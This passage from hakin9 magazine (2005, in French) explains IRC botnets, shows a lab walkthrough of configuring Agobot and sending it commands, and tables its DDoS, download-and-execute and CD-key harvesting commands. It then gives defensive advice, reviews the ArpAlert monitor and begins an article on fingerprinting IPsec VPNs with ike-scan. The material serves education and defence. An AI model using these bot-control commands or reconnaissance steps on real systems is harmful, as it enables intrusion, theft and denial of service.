Les robots IRC sont traités à l'instar d'utilisateurs réguliers (ou opérateurs). Il s'agit
de processus démons, capables d'exécuter un certain nombre d'opérations automati-
sées. Ces robots sont en règle générale contrôlés par l'envoi de commandes vers un
canal créé par un pirate, infesté de robots. Bien évidemment, il faut, pour administrer
des robots, une authentifcation ainsi qu'une autorisation, de sorte que seul le proprié-
taire puisse les utiliser.
hakin9 Nº 6/2005 www.hakin9.org
Pratique
38
Les robots et leurs
applications
Les utilisations possibles d'un hôte
fragilisé ne dépendent ensuite que
de l'imagination et des compétences
du pirate. On va aborder ici les plus
répandues.
Attaques DDoS
Les réseaux de zombies sont sou-
vent utilisés pour les attaques dites
Distributed Denial of Service (ou
attaques distribuées par Déni de
Service). Un pirate a la possibilité
de contrôler un nombre considéra-
ble d'hôtes compromis à partir d'un
poste de travail distant, en exploi-
tant leur largeur de bande passante
et en envoyant des requêtes de
connexion vers l'hôte cible. De
nombreux réseaux ont été affectés
par de telles attaques, et dans cer-
tains cas de fgure, les coupables
ont pu être retrouvés dans des so-
ciétés concurrentes (comme ce fut
le cas lors de la guerre des sociétés
dotcom).
Spamming ou multipostage
abusif
Les réseaux de zombies représentent
le moyen idéal pour le multipostage
abusif. Ils pourraient être utilisés,
et le sont, à la fois pour échanger des
adresses e-mail regroupées et pour
contrôler les envois de spams de
la même manière que les attaques
de type DDoS. Un unique message
spam pourrait être envoyé sur le ré-
seau d'hôtes infectés puis distribué
à travers tous les robots, qui en-
voient à leur tour le message non
désiré. La personne à l'origine de ce
multipostage abusif demeure bien
sûr anonyme et la faute retombe sur
les ordinateurs infectés.
Aspiration de mot de passe et
espion de clavier
Les robots peuvent également être
utilisés de manière effcace dans le
but d'améliorer l'ancienne techni-
que dite de l'aspiration de mot de
passe. L'observation des données
du trafc peut conduire à détecter
une quantité incroyable d'informa-
tions, comprenant les habitudes
des utilisateurs, les données utiles
des paquets TCP susceptibles de
contenir des informations dignes
d'intérêt (telles que les mots de
passe), etc. Ce même procédé est
valable pour les espions de clavier,
technique consistant à capturer
l'ensemble des informations tapées
sur le clavier par un utilisateur
(adresses e-mails, mots de passe,
données bancaires personnelles,
informations sur les comptes Pay-
Pal, etc.).
Vol d'identité
Les méthodes mentionnées plus
haut permettent aux pirates de
Figure 1. Structure d'un réseau classique d'ordinateurs zombies
Tableau 1. Liste des ports associés
à des services vulnérables
Port Service
42 WINS (Serveur de Noms
de Domaine)
80 HTTP (vulnérabilité IIS ou
Apache)
135 RPC (Remote Procedure
Call ou Appel de Procé-
dure à distance)
137 Service de nom NetBIOS
139 Service de session Net-
BIOS
445 Service de Microsoft-DS
1025 Windows Messenger
1433 Serveur Microsoft-SQL
2745 Porte dérobée pour le ver
Bagle
3127 Porte dérobée pour le ver
MyDoom
3306 MySQL UDF (User Defna-
ble Functions ou Fonctions
Défnissables par l'Utilisa-
teur)
5000 UPnP (Universal Plug and
Play)
Figure 2. Durcissement du réseau d'ordinateurs zombies
Guerre des robots
hakin9 Nº 6/2005 www.hakin9.org 39
contrôler un réseau de zombies de
manière à collecter une quantité
incroyable d'informations person-
nelles. De telles données peuvent
ensuite être utilisées pour cons-
tituer de fausses identités, afn
d'obtenir un accès à des comptes
personnels ou de réaliser diverses
opérations malveillantes (y compris
d'autres attaques) en faisant accu-
ser quelqu'un d'autre.
Hébergement de logiciels
illégaux
Enfn, les ordinateurs contaminés
par robots peuvent être utilisés sous
forme de référentiels dynamiques de
matériel illégal (logiciels piratés, por-
nographie, etc.). Les données sont
stockées sur le disque d'un utilisa-
teur ADSL sans qu'il soit au courant
de tels agissements.
Vous pourriez passer des heures
à évoquer les possibles applications
des réseaux d'ordinateurs zombies
(par exemple paiement par abus de
clic, hameçonnage ou phishing, pira-
tage des connexions HTTP/HTTPS,
etc.). Les robots, pris seuls, ne sont
rien d'autre que des outils, facilement
adaptables à chaque tâche nécessi-
tant un grand nombre d'hôtes sous
un contrôle unique.
Les différents types de
robots
De nombreux types de robots prêts
à l'emploi sont téléchargeables
à partir d'Internet. Chacun dispose
de ses propres fonctionnalités par-
ticulières. On va évoquer ici les
robots les plus utilisés, en souli-
gnant leurs fonctionnalités et leurs
spécifcités.
Robot GT
Tous les robots de type GT (Global
Threat ou Menace globale) reposent
sur le très populaire client IRC pour
Windows appelé mIRC. Le noyau
de ces robots est composé d'un
ensemble de scripts mIRC, utilisés
pour contrôler l'activité d'un sys-
tème à distance. Ce type de robots
se charge de lancer une instance
du client qui a été améliorée au
moyen de scripts de contrôles et a
recours à une seconde application,
le plus souvent HideWindow, afn
de dissimuler mIRC à l'utilisateur
de l'ordinateur hôte. Un fchier sup-
plémentaire DLL vient ajouter de
nouvelles fonctionnalités au client
mIRC afn de permettre aux scripts
d'infuencer divers aspects de l'hôte
contrôlé.
Agobot
Agobot est probablement le robot le
plus utilisé par les pirates. Il est écrit
en C++ et a été distribué sous une
licence GPL. L'aspect le plus inté-
ressant d'Agobot est sans conteste
son code source. Extrêmement
modulaire, il permet d'ajouter de
nouvelles fonctions très facilement.
Agobot propose de nombreux mé-
canismes permettant de dissimuler
sa présence sur l'ordinateur hôte.
Parmi ces mécanismes, on peut
citer : NTFS Alternate Data Stream,
Antivirus Killer ainsi que le moteur
Polymorphic Encryptor Engine.
Agobot propose une aspiration de
trafc et un classement des fonc-
tionnalités. Des protocoles autres
que l'IRC peuvent également être
utilisés pour contrôler ce robot.
DSNX
Le robot Dataspy Network X est
lui aussi écrit en C++ et son code
source est également disponible
sous la licence GPL. Il est très facile
d'ajouter de nouvelles fonctionnalités
Services DNS Dynamiques
Un DSN (Deep Space Network ou Réseau de l'Espace Lointain) dynamique (RFC
2136) est un système chargé de lier le nom d'un domaine à une adresse IP dynamique.
Les utilisateurs qui se connectent à Internet via des modems, l'ADSL ou un câble, ne
possèdent généralement pas d'adresse IP fxe. Lorsqu'un tel utilisateur se connecte
à Internet, le fournisseur d'accès Internet attribue une adresse IP inutilisée choisie
à partir d'un pool sélectionné. Cette adresse est généralement maintenue le temps de
cette connexion spécifque.
Ce mécanisme permet aux fournisseurs d'accès Internet de maximiser l'utilisation
de pool IP disponible, mais pénalise les utilisateurs qui ont besoin de certains services
disponibles sur Internet de manière permanente, mais ne peuvent pas se payer une
adresse IP statique. Afn de résoudre ce problème, les services DSN dynamiques ont
été créés. Les fournisseurs proposant de tels services utilisent un programme parti-
culier, chargé d'informer la base de données DSN à chaque modifcation d'utilisateurs
d'une adresse IP.
Figure 3. Interface de confguration d'Agobot
hakin9 Nº 6/2005 www.hakin9.org
Pratique
40
à ce robot, grâce à son architecture
simple basée sur les plugins.
SDBot
SDBot est écrit en langage C et est
également disponible sous la licence
GPL. Contrairement à Agobot, son
code source n'est pas très clair et le
logiciel lui-même ne propose qu'un
ensemble très limité de fonctionna-
lités. Néanmoins, il s'agit d'un robot
très utilisé qui se décline en différen-
tes variantes.
Eléments constitutifs
d'une attaque
Vous trouverez dans la Figure 1 la
structure traditionnelle d'un réseau
d'ordinateurs zombies :
• Le pirate commence par répan-
dre un cheval de Troie, chargé
d'infecter divers hôtes. Ces hôtes
deviennent des zombies puis se
connectent au serveur IRC afn
d'écouter plus de commandes,
• Le serveur IRC peut soit être
une machine publique présente
dans l'un des réseaux IRC, soit
un serveur particulier installé
par le pirate sur l'un des hôtes
infectés,
• Les robots s'exécutent sur les
ordinateurs infectés, afn de
former un réseau d'ordinateurs
zombies.
Exemple concret
L'activité du pirate peut être divisée
en quatre étapes distinctes :
• création,
• confguration,
• infection,
• contrôle.
L'étape de création dépend dans
une large mesure des compétences
du pirate en question ainsi que de
ses besoins. Un pirate peut, en ef-
fet, décider d'écrire son propre code
de robot, ou se contenter d'éten-
dre ou de personnaliser un robot
existant. Un large choix de robots
prêts à l'emploi est disponible et
hautement confgurable. L'utilisation
d'une interface graphique facilite
grandement leur application. Ce qui
explique qu'il s'agit de l'option la
plus utilisée par les script kiddies
(pirates adolescents).
L'étape de confguration consiste
à fournir au serveur et au canal IRC
des informations. Une fois installé
sur la machine infectée, le robot va
se connecter à l'hôte sélectionné. Le
pirate commence par entrer les don-
nées nécessaires visant à restrein-
dre l'accès aux robots, puis sécurise
le canal et fnit par fournir une liste
d'utilisateurs autorisés (capables par
la suite de contrôler les robots). Lors
de cette étape, le robot peut être
Figure 4. Serveur maître et connexion au canal
Figure 5. Authentifcation du nom et du mot de passe de l'utilisateur
Netstat
Netstat est un outil extrêmement fexible disponible pour Windows et les systèmes
*NIX. Sa principale fonction consiste à contrôler les ports actifs. Netstat examine les
ports d'écoute TCP et UDP et fournit des informations détaillées sur l'activité du ré-
seau. Sur les systèmes *NIX, Netstat affche l'ensemble des fux de données ouverts.
Il a également recours à des fltres de sélection de données de sortie.
Les statuts de connexions possibles sont les suivants :
• ESTABLISHED – les deux hôtes sont connectés,
• CLOSING – l'hôte distant ferme la connexion,
• LISTENING – l'hôte écoute les connexions entrantes,
• SYN_RCVD – un hôte distant a demandé à débuter une connexion,
• SYN_SENT – l'hôte débute une nouvelle connexion,
• LAST_ACK – l'hôte doit envoyer un rapport avant de fermer la connexion,
• TIMED_WAIT, CLOSE_WAIT – un hôte distant met un terme à la connexion,
• FIN_WAIT 1 – le client met un terme à la connexion,
• FIN_WAIT 2 – les deux hôtes ferment la connexion.
Guerre des robots
hakin9 Nº 6/2005 www.hakin9.org 41
plus personnalisé, en défnissant,
par exemple, la cible et la méthode
d'attaque.
L'étape d'infection consiste
à utiliser diverses techniques afn de
répandre les zombies, de manière
directe et indirecte. Les techniques
directes comprennent l'exploita-
tion des vulnérabilités du système
d'exploitation ou des services. Les
techniques indirectes ont recours
à d'autres logiciels pour exécuter le
sale travail. Parmi ces techniques,
citons l'utilisation de fchiers HTML
malformés visant à exploiter les
vulnérabilités d'Explorer, ou encore
l'utilisation d'autres programmes
malveillants distribués via les ré-
seaux poste à poste ou l'échange de
fchiers DCC (Direct Client-to-Client)
sous le protocole IRC. Les attaques
directes sont en règle générale
automatisées grâce à l'utilisation de
vers. La tâche de ces vers consiste
à chercher des sous-réseaux dans
les systèmes vulnérables puis d'y
injecter le code du robot. Chaque
système infecté poursuit par la suite
le processus d'infection, permettant
ainsi au pirate de gagner un temps
précieux pour chercher de nouvelles
victimes.
Les mécanismes utilisés pour
distribuer les robots constituent l'une
des principales raisons de ce qu'on
appelle l'Internet background noise
ou en bruit de fond. Les principaux
ports impliqués dans le processus
sont ceux utilisés par Windows,
plus particulièrement par Windows
2000 et XP SP1 (voir le Tableau 1).
Il semble que ce soient les cibles pri-
vilégiées des pirates, dans la mesure
où il est relativement facile de trou-
ver des ordinateurs Windows non
protégés ou d'autres sans pare-feu
installé. C'est souvent le cas avec
les utilisateurs de PC familiaux et
les petites sociétés, qui ignorent les
problèmes de sécurité et disposent
d'une connexion Internet toujours
activée sur large bande.
L'étape de contrôle est un en-
semble d'actions réalisées après
installation du robot sur l'hôte cible
dans un répertoire sélectionné.
Afn de débuter avec Windows, ce
dernier met à jour les clés d'enre-
gistrement, généralement comme
suit HKEY _ LOCAL _ MACHINE\SOFTWARE\
Microsoft\Windows\CurrentVersion\
Run\. Une fois l'installation réussie,
le robot commence par se connecter
au serveur IRC puis rejoint le canal
de contrôle au moyen d'un mot
de passe. Le pseudo sur IRC est
généralement généré de manière
aléatoire. Le robot est alors prêt
à accepter les commandes d'une
application maîtresse. Le pirate doit
également utiliser un mot de passe
afn de se connecter au réseau d'or-
dinateurs zombies. Cette manœuvre
est, en effet, nécessaire, de manière
à ce que personne d'autre ne puisse
utiliser le réseau d'ordinateurs zom-
bies fourni.
Le protocole IRC fournit non
seulement les moyens de contrôler
des centaines de robots, mais per-
met également au pirate d'utiliser
diverses techniques pour dissimuler
sa réelle identité. C'est la raison pour
laquelle il est si diffcile de répondre
à ces attaques. Heureusement, les
réseaux d'ordinateurs zombies, par
leur nature, génèrent un trafc sus-
pect, facilement détectable grâce
aux modèles connus. Ceci permet
aux administrateurs IRC de détecter
et d'intervenir en cas d'attaques, de
mettre un terme au réseau d'ordina-
teurs zombies et de rapporter l'abus.
Figure 6. Réponse à la requête issue du premier robot de l'ordinateur maître
Figure 7. Réponse à la requête issue du second robot de l'ordinateur maître
Figure 8. Netstat à l'oeuvre sur un système infecté
hakin9 Nº 6/2005 www.hakin9.org
Pratique
42
Les pirates sont ainsi obligés
de redéfnir leur technique de C&C
(Contrôle et Commande), ce qui
mène à un durcissement des ré-
seaux d'ordinateurs zombies. Les
robots sont donc confgurés de
manière à pouvoir se connecter
à différents serveurs en utilisant un
nom d'hôte transformé de manière
dynamique. Ainsi, le pirate peut fa-
cilement déplacer son robot vers de
nouveaux serveurs, les maintenant
sous contrôle même après détec-
tion. Les services dynamiques DNS
tels que dyndns.com ou no-ip.com
sont utilisés pour ce genre de tâche
(voir la partie intitulée Services DSN
Dynamiques).
Afn de dissimuler l'activité, le
canal IRC est confguré de manière
à limiter l'accès et à cacher l'ac-
tivité. Les modes IRC classiques
utilisés par les canaux de réseaux
d'ordinateurs zombies sont les
suivants : +k (un mot de passe est
requis pour entrer dans le canal),
+s (le canal n'apparaît pas dans la
liste des canaux public), +u (seuls
les opérateurs sont visibles sur la
liste des utilisateurs), +m (seuls les
utilisateurs dotés du statut vocal
+v peuvent envoyer des messages
vers le canal). Une grande majo-
rité de pirates chevronnés ayant
recours aux serveurs personnalisés
IRC cryptent l'ensemble des com-
munications au moyen du canal. Ils
ont également tendance à utiliser
des variantes personnalisées de
logiciels de serveurs IRC, confgu-
rées de manière à espionner sur
les ports non standards en utilisant
une version modifée du protocole,
de sorte qu'un client normal IRC
ne puisse pas se connecter au
réseau.
Les techniques
de Contrôle et de
Commande en
pratique : Agobot
Examinez maintenant un exemple de
scénario d'attaque, qui vous permettra
d'analyser clairement le processus de
commande et de contrôle d'un réseau
d'ordinateurs zombies. On a utilisé
pour cet exemple deux ordinateurs.
Le premier exécute un serveur IRC
basé sur UnrealIRCd 3.2.3 ainsi que
deux machines virtuelles Windows XP
SP1 basées sur VMware Workstation
(deux cibles potentielles d'infection).
Le second a été utilisé pour contrôler
le réseau d'ordinateurs zombies via
Irssi, client texte IRC.
Afn de compliquer le processus
d'ingénierie inverse, Agobot installe
des sous-programmes capables de
défendre le logiciel contre les débo-
gueurs tels que SoftICE ou OllyDbg,
et contre l'utilisation de machines
virtuelles telles que VMware et Vir-
tual PC. Il a donc été nécessaire de
pirater le code source du robot afn
de contourner la protection VMware,
avant de pouvoir installer le robot sur
nos systèmes virtuels.
Confguration
La première étape consiste à confgu-
rer le robot au moyen de son interface
graphique simple (voir la Figure 3).
Les informations entrées compren-
nent le nom et le port du serveur
IRC, le nom du canal, une liste des
utilisateurs qui géreront les mots de
passe, et enfn, le nom du fchier et le
répertoire dans lequel le robot sera
installé. On a également activé cer-
tains plugins comme un support pour
l'aspiration de mots de passe et un
moteur polymorphe. Ainsi un fchier
confg.h, essentiel pour la compila-
tion du robot, est obtenu.
Commande et Contrôle
Une fois le robot compilé, les deux
systèmes de test ont été infectés
manuellement. L'ordinateur maître
s'est connecté au serveur IRC puis a
rejoint le canal afn de pouvoir pren-
dre la contrôle et les commandes du
robot (voir la Figure 4) :
/connect 192.168.10.3
/join #arrakis
Afn d'obtenir le contrôle des robots,
il est nécessaire de procéder à une
authentifcation. Ce que pouvait être
réalisé en envoyant tout simplement
une commande vers le canal (voir la
Figure 5) :
.login FaDe dune
Puis, le premier robot a été demandé
une liste de tous les processus en
cours d'exécution sur l'ordinateur
infecté (voir la Figure 6) :
/msg FakeBot-wszyzc .pctrl.list
Tableau 2. Certaines commandes d'Agobot
Commandes Description
command.list
Liste de toutes les commandes disponibles
bot.dns
Résout un nom d'hôte/d'IP
bot.execute
Exécute un fchier .exe sur un ordinateur distant
bot.open
Ouvre un fchier sur un ordinateur distant
bot.command
Exécute une commande avec system()
irc.server
Se connecte à un serveur IRC
irc.join
Entre dans un canal spécifque
irc.privmsg
Envoie un message privé à l'utilisateur
http.execute
Télécharge et exécute un fchier via HTTP
ftp.execute
Télécharge et exécute un fchier via FTP
ddos.udpfood
Démarre un fux de données UDP
ddos.synfood
Démarre une inondation de requêtes Syn
ddos.phaticmp
Démarre une inondation de PHATicmp
redirect.http
Démarre un serveur mandataire HTTP
redirect.socks
Démarre un serveur mandataire SOCKS4
pctrl.list
Liste les processus
pctrl.kill
Tue les processus
Guerre des robots
hakin9 Nº 6/2005 www.hakin9.org 43
Ensuite le second robot a été deman-
dé des informations sur le système
ainsi que les cdkeys des applications
installées (voir la Figure 7) :
/msg FakeBot2-emcdnj .bot.sysinfo
/msg FakeBot2-emcdnj .harvest.cdkeys
Des fonctions simples ont été utili-
sées dans cet exemple, mais Agobot
propose un ensemble fourni de com-
mandes et de fonctions. Certaines
d'entre elles sont exposées dans le
Tableau 2.
Comment protéger vos
ordinateurs
Vous allez maintenant aborder les
méthodes de protection contre ce
type d'infections du point de vue
à la fois de l'utilisateur et de l'admi-
nistrateur.
Stratégies de défense
destinées aux utilisateurs de
PC
Comme il a été déjà mentionné plus
haut, les infections par robots sont
principalement réalisées au moyen
de vers, qui explorent le Net à la
recherche de machines vulnérables.
La première étape consiste donc
à maintenir votre système à jour,
en téléchargeant les programmes
de correction et les mises à jour
de votre système pour le système
d'exploitation et également pour l'en-
semble des applications ayant accès
à Internet. Les mises à jour automa-
tiques sont assez judicieuses. Il est
également important de demeurer
prudent au moment d'ouvrir des
pièces jointes douteuses dans vos
e-mails. Il est également pertinent
de désactiver les supports pour les
langages de script tels que ActiveX
et JavaScript (ou au moins contrôler
leur utilisation). Enfn, il est essentiel
d'utiliser un programme antivirus/anti
cheval de Troie et de le maintenir
à jour. Toutefois, de nombreux ro-
bots sont confgurés de manière
à contourner les contrôles antivirus.
Il n'est donc pas inutile d'installer un
pare feu personnel afn de sécuri-
ser davantage votre système, plus
particulièrement si votre ordinateur
tourne 24 heures sur 24.
Les principaux signes qui trahis-
sent la présence d'un robot dans vo-
tre système sont un ralentissement
de connexion et du système. L'outil
netstat (voir la Figure 8 ainsi que la
partie intitulée Netstat) propose un
contrôle facile et effcace des con-
nexions douteuses) :
C:/>netstat -an
Contrôlez les connexions ESTA-
BLISHED sur les ports TCP dans
une portée entre 6000 et 7000 (gé-
néralement 6667). Si vous réalisez
que votre ordinateur est fragilisé, dé-
connectez-vous d'Internet, nettoyez
votre système, redémarrez le puis
recontrôlez le une nouvelle fois.
Stratégies de défense
destinées aux administrateurs
Les administrateurs sont toujours
censés se tenir informés des toutes
dernières vulnérabilités, et lire quoti-
diennement les ressources disponi-
bles relatives à la sécurité Internet.
Souscrire à une liste de diffusion
comme Bugtraq est assez judicieux.
Les administrateurs devraient éga-
lement essayer de sensibiliser leurs
utilisateurs et défnir des politiques
de sécurité et de confdentialité.
Il est également nécessaire
d'étudier les journaux générés par
les Systèmes de Détection d'Intru-
sion et les systèmes de pares feux,
les serveurs de messagerie, les
serveurs DHCP et mandataires. Ces
actions peuvent permettre de repé-
rer tout trafc anormal, susceptible de
trahir la présence d'un robot dans le
réseau. Une fois un tel trafc remar-
qué, un aspirateur peut se révéler
utile afn d'identifer le sous-réseau
et l'ordinateur à l'origine du trafc
anormal. Tout ceci peut vous paraître
évident, mais ce sont des éléments
souvent négligés.
Il est également possible d'avoir
recours à des techniques plus so-
phistiquées afn d'étudier et de dé-
tecter d'éventuelles menaces. Une
de ces techniques est le recours aux
honeybots ou pots de miel. Les ho-
neybots sont des machines conçues
pour être facilement visées par les
attaques. Leur rôle consiste à deve-
nir infectées afn de permettre à l'ad-
ministrateur de remonter à l'origine
du problème et d'étudier la méthode
d'attaque utilisée.
Pour fnir, et malgré tous les outils
à notre disposition, la défense la plus
effcace contre les attaques par ré-
seaux d'ordinateurs zombies repose
sur le comportement et la sensibili-
sation de l'utilisateur lui-même. l
À propos des auteurs
Massimiliano Romano s'intéresse principalement à l'informatique et les réseaux. Il
travaille en tant qu'indépendant pour l'une des plus importes sociétés de téléphonie
mobile italienne. Il consacre une grande partie de son temps libre à Ham Radio, en
étudiant et décodant les signaux radio numériques.
Simone Rosignoli est étudiant à l'Université La Sapienza de Rome. Il achève
actuellement ses études en Technologies Informatiques (Systèmes et Sécurité). Ses
centres d'intérêt vont de la programmation à la sécurité informatique.
Ennio Giannini travaille en tant qu'analyste système. Il consacre son temps libre à
tester des environnements GNU/Linux. C'est un partisan convaincu de la communauté
Open Source.
Sur Internet
• http://www.honeynet.org/papers/bots/ – utilisation des honeybots ou pots de miel
afn d'étudier l'activité des robot,
• http://security.isu.edu/ppt/pdfppt/Core02.pdf – outils et stratégies pour se proté-
ger des attaques,
• http://www.securitydocs.com/library/3318 – introduction à Netstat,
• http://www.irchelp.org/irchelp/faq.html – introduction au protocole IRC.
44
Pratique
hakin9 Nº 6/2005 www.hakin9.org
Démarrage rapide : Vous êtes administrateur d'un LAN
relativement vaste mais aux accès particulièrement
incontrôlables. Sachant que les contaminations virales et
les vols de données viennent le plus souvent de machi-
nes étrangères au réseau qui se connectent sans auto-
risation, il faut impérativement détecter ces connexions
illicites. C'est à ce niveau là qu'intervient ArpAlert.
Commencez par télécharger la dernière révision du
programme sur le site offciel. Vous devrez passer par
les sources, les différentes formes de packages ne sont
pas encore gérées. Un traditionnel ./confgure && make &&
make install avec les droits root installera l'application
sur votre machine. Vous pouvez préciser avec ./confgure
l'emplacement du répertoire de base, par défaut celui ci
sera /usr/local/arpalert.
Un fchier de confguration par défaut sera placé
dans /usr/local/arpalert/etc/arpalert/arpalert.conf. Afn
de rendre celui-ci fonctionnel vous allez supprimer quel-
ques options avancées. L'option désignée par log unauth
request et alert on unauth request dans le fchier de con-
fguration doit être désactivée en changeant les valeurs
true par false puis commentez la ligne contenant le para-
mètre auth request fle. Vous devez également modifer
les paramètres commençants par alert on sur false.
Toujours sous le compte root, démarrez maintenant
le programme par un simple /usr/local/arpalert/sbin/
arpalert -d. le -d permettra le lancement en mode
démon. Pour automatiser le mode démon au démarrage,
éditez le fchier de confguration et remplacez la ligne
daemon = false par daemon = true. Vous pouvez faire un
tail -f /var/log/messages (ou /var/log/syslog selon les
distributions) et vous verrez toute les machines de votre
réseau détectées. Ces nouvelles machines seront stoc-
kées dans le fchier /usr/local/arpalert/var/lib/arpalert/
arpalert.leases quelques cat sur ce fchier vous laisse-
ront voir la liste des machines détectées.
Lorsque toutes les machines du réseau local ont été
découvertes, recopiez le contenu de ce fchier dans le fchier
maclist.allow (cat /usr/local/arpalert/var/lib/arpalert/
arpalert.leases > /usr/local/arpalert/etc/arpalert/
maclist.allow), n'hésitez pas à compléter ce fchier à la
main. Sans avoir touché au fchier de confguration, redé-
marrez le démon, l'application fonctionne. À partir de main-
tenant toutes les nouvelles machines détectées sont des
intrus potentiels et un message sera émis dans les logs.
Autres qualités : L'alerte peut également être donnée
à travers l'exécution d'un script. Ce mode de fonctionne-
ment permet d'être alerté des tentatives d'intrusions par
mail ou par toute autre méthode imaginable. Ce script est
renseigné par le paramètre action on detect et activé
avec chaque paramètre alert on... positionné sur true.
Défauts : Bien qu'ArpAlert soit basé sur un principe très
simple, sa confguration doit être spécifque et adaptée
à chaque réseau. Ses mécanismes anti-food peuvent
faire perdre de la pertinence à la détection s'ils sont
mal paramétrés. Les réglages de bases conviennent
à un réseau comprenant entre 20 et 200 machines.
Thierry Fournier
Système : Linux (portage rapidement prévu sous *NIX et BSD)
Licence : GNU GPL
But : détection de machines non autorisées à se connecter sur un réseau
Page d'accueil : http://perso.numericable.fr/~fourthie/arpalert.php
ArpAlert est un démon dédié à la surveillance de LAN. Son action est basé
sur l'écoute du protocole ARP couplé à une liste d'adresses MAC valides.
Il permet donc une surveillance permanente du réseau interne. Il s'est vu inté-
gré dans des systèmes de sécurité pour entreprises tel que le LANDefender
(http://www.exceliance.fr/ldapercu.htm).
ArpAlert 0.4.10
Figure 1. Le format des logs Figure 2. Le fchier de confguration
www.hakin9.org hakin9 Nº 6/2005 46
Fiche technique
L
a sécurité de VPN est souvent oubliée
durant les tests d'intrusion. Il existe plu-
sieurs raisons pour l'expliquer : les VPN
sont souvent considérés comme étant par na-
ture sécurisés car ils se servent d'une crypto-
graphie puissante ; les VPN IPsec ne sont, en
général, pas détectés par des scans de ports
et de nombreuses personnes se sentent per-
dues dans la complexité du protocole. Grâce
à de bons outils et de bonnes techniques, il est
toutefois relativement simple de trouver et de
récupérer des empreintes de ces systèmes.
Vous apprenez comment détecter les VPN
IPsec (reportez vous à l'encadré Introduction
à IPsec), déterminer l'équip ement utilisé et
trouver des informations utiles. Vous verrez
que la complexité du protocole IPsec rend en
fait la récupération des empreintes de VPN
plus facile car chaque fabricant interprète les
standards de façon différente.
Détection des VPN IPsec
Comme il a été déjà dit, les serveurs IPsec VPN
ne sont pas en général détectés par les scans de
ports. C'est parce qu'ils n'écoutent sur aucun port
TCP et par conséquent aucun scans de ports
TCP ne peut les trouver. De plus, ils n'envoient,
en général, pas de messages ICMP de type des-
tination inaccessible (host unreachable) ; donc,
les scans de ports UDP ne détectent pas de IKE
sur le port 500 (un port standard pour ce type
de connexions) et un scan raw IP ne détectera
ni d'ESP ni d'AH avec les protocoles IP 50 et 51.
En revanche, les procédures RFC IPsec spéci-
fent que les paquets incorrectement formatés
devront être ignorés ; en envoyant en UDP des
informations parasites aléatoires au port 500 ou
des protocoles IP 50 et 51 vous n'obtiendrez pas
de réponse non plus.
Une manière effcace pour détecter les
systèmes VPN IPsec consiste à envoyer un
Détection et relevé
d'empreintes des VPN
IPsec
Roy Hills
Degré de diffculté
De nombreuses personnes croient que les systèmes VPN IPsec
sont invisibles et, par nature, sécurisés. Pourtant, en réalité, il est
facile de détecter et de récupérer l'empreinte de la plupart des
implémentations. Une fois cette étape terminée, effectuer une
attaque réussie est une question de temps.
Cet article explique...
• comment détecter les systèmes VPN IPsec,
• comment utiliser les techniques de récupéra-
tion d'empreintes (en anglais fngerprinting)
pour déterminer le type du système VPN.
Ce qu'il faut savoir...
• les concepts de réseau TCP/IP,
• les bases des IPsec VPN.
Détection des VPN
hakin9 Nº 6/2005 www.hakin9.org 47
paquet IKE correctement formaté
à tous les systèmes que vous sou-
haitez tester et à affcher toutes les
réponses IKE reçues. Cette métho-
de est capable de détecter les VPN
IPsec qui se servent de IKE pour
échanger des clés et ne restrei-
gnent pas les adresses IP source
auxquelles ils répondent. En pra-
tique, la quasi totalité d'implémen-
tations IPsec modernes se servent
de IKE ; une alternative consiste
à échanger les clés manuellement
mais c'est très rare.
Le programme ike-scan vous
permet d'envoyer un paquet IKE aux
systèmes cibles spécifés et d'aff-
cher des réponses. Dans cet article,
vous allez vous servir principalement
de cet outil.
Utiliser le ike-scan avec les
paramètres par défaut
Dans un premier temps, vous démar-
rez ike-scan vers les hôtes cibles en
laissant les paramètres par défaut.
L'outil ike-scan se servira de ces pa-
ramètres pour envoyer un paquet IKE
en Mode Principal pour chaque cible.
Ce paquet comprend une en-tête
ISAKMP, accompagnée de la charge
de SA. La charge SA contient une seu-
le proposition (en anglais proposal) qui
à son tour contient huit transformations
(en anglais transform). La Figure 2
présente la structure de ce paquet IKE
et le Tableau 1 montre les attributs de
chacun de huit transformations.
Le Listing 1 présente un exemple
de la sortie de ike-scan pour le dé-
marrage initial de la détection ; dans
cet exemple, le fchier contenant les
adresses IP cibles, que vous voulez
scanner au moyen de l'option –-fle,
est spécifé. Vous pouvez constater
que certains systèmes répondent par
un Main Mode Handshake (prise de
contact en Mode Principal), ce qui
signife qu'ils veulent procéder aux
négociations IKE avec vous et qu'au
moins une de vos transformations est
acceptable. Vous pouvez également
constater que d'autres systèmes
répondent par un Notify message
(message de notifcation). Cela signi-
fe que soit le système ne souhaite pas
négocier avec vous (par exemple, il
n'accepte les requêtes que de certai-
nes adresses IP sources) soit aucune
de vos transformations n'est accepta-
ble. Puisque vous voulez simplement
détecter les systèmes VPN, le type de
message envoyé par les systèmes en
réponse ne vous intéresse pas ; peu
importe qu'il s'agisse d'un message de
notifcation ou d'un message de prise
de contact, dans les deux cas, les sys-
tèmes sont détectés.
En ce qui concerne les systèmes
qui ont répondu par un message de
handshake, vous pouvez voir les détails
de la transformation acceptée dans la
charge SA, par exemple Enc=3DES
Hash=MD5 Group=2:modp1024 Auth=PSK
LifeType=Seconds LifeDuration=28800,
ce qui donne Triple-DES pour le chif-
frement, MD5 pour l'algorithme de ha-
chage HMAC, groupe Diffe-Hellman 2
(qui est un groupe MODP de 1024
octets), l'authentifcation par la clé
pré-partagée (en anglais Pre-Shared
Key, PSK) et une durée de la SA de
28800 secondes. Certains systèmes
incluent également un payload Vendor
Introduction à IPsec
IPsec n'est pas un protocole en tant que tel. Il s'agit plutôt d'un framework comprenant
un certain nombre de protocoles indépendants qui travaillent ensemble pour fournir
des fonctionnalités VPN. Il existe trois protocoles principaux dans le framework :
• IKE (Internet Key Exchange) : gère l'authentifcation et l'échange de clés entre les
systèmes de peer-to-peer,
• AH (Authentication Header) : fournit l'authentifcation et l'intégrité de données,
• ESP (Encapsulating Security Payload) : fournit la confdentialité (chiffrement)
et peut en plus fournir l'authentifcation et l'intégrité des données.
La plupart des VPN IPsec se servent du protocole IKE pour authentifer les pairs, né-
gocier des algorithmes de chiffrement et échanger les clés. Ils se servent également
de l'ESP pour crypter les données qui traversent VPN (AH est rarement utilisé). Dans
cet article, vous vous concentrez uniquement sur le protocole IKE (les autres ne seront
pas analysés). IKE est le protocole le plus complexe dans le framework IPsec. Comme
vous allez le constater, cette complexité vous permettra de récupérer des empreintes
des systèmes VPN.
IKE se déroule en deux phases : Phase 1, chargée d'authentifer et d'établir l'as-
sociation de sécurité (SA) pour la deuxième phase et Phase 2, chargée de négocier
la SA pour les données. La phase 1 peut opérer dans l'un de ces deux modes : Mode
